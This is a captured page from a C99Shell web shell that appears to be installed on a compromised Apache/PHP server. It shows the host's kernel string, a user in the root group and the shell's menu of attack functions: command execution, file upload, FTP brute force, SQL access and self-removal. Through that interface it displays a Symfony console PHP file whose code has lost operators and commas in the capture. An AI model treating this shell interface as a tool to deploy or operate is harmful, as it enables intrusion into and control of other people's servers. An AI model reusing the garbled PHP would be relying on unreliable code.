!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/console/Formatter/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OutputFormatterStyleStack.php (2.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Formatter;

use 
Symfony\Component\Console\Exception\InvalidArgumentException;
use 
Symfony\Contracts\Service\ResetInterface;

/**
 * @author Jean-François Simon <contact@jfsimon.fr>
 */
class OutputFormatterStyleStack implements ResetInterface
{
    
/**
     * @var OutputFormatterStyleInterface[]
     */
    
private $styles;

    private 
$emptyStyle;

    public function 
__construct(OutputFormatterStyleInterface $emptyStyle null)
    {
        
$this->emptyStyle $emptyStyle ?? new OutputFormatterStyle();
        
$this->reset();
    }

    
/**
     * Resets stack (ie. empty internal arrays).
     */
    
public function reset()
    {
        
$this->styles = [];
    }

    
/**
     * Pushes a style in the stack.
     */
    
public function push(OutputFormatterStyleInterface $style)
    {
        
$this->styles[] = $style;
    }

    
/**
     * Pops a style from the stack.
     *
     * @return OutputFormatterStyleInterface
     *
     * @throws InvalidArgumentException When style tags incorrectly nested
     */
    
public function pop(OutputFormatterStyleInterface $style null)
    {
        if (empty(
$this->styles)) {
            return 
$this->emptyStyle;
        }

        if (
null === $style) {
            return 
array_pop($this->styles);
        }

        foreach (
array_reverse($this->stylestrue) as $index => $stackedStyle) {
            if (
$style->apply('') === $stackedStyle->apply('')) {
                
$this->styles \array_slice($this->styles0$index);

                return 
$stackedStyle;
            }
        }

        throw new 
InvalidArgumentException('Incorrectly nested style tag found.');
    }

    
/**
     * Computes current style with stacks top codes.
     *
     * @return OutputFormatterStyle
     */
    
public function getCurrent()
    {
        if (empty(
$this->styles)) {
            return 
$this->emptyStyle;
        }

        return 
$this->styles[\count($this->styles) - 1];
    }

    
/**
     * @return $this
     */
    
public function setEmptyStyle(OutputFormatterStyleInterface $emptyStyle)
    {
        
$this->emptyStyle $emptyStyle;

        return 
$this;
    }

    
/**
     * @return OutputFormatterStyleInterface
     */
    
public function getEmptyStyle()
    {
        return 
$this->emptyStyle;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--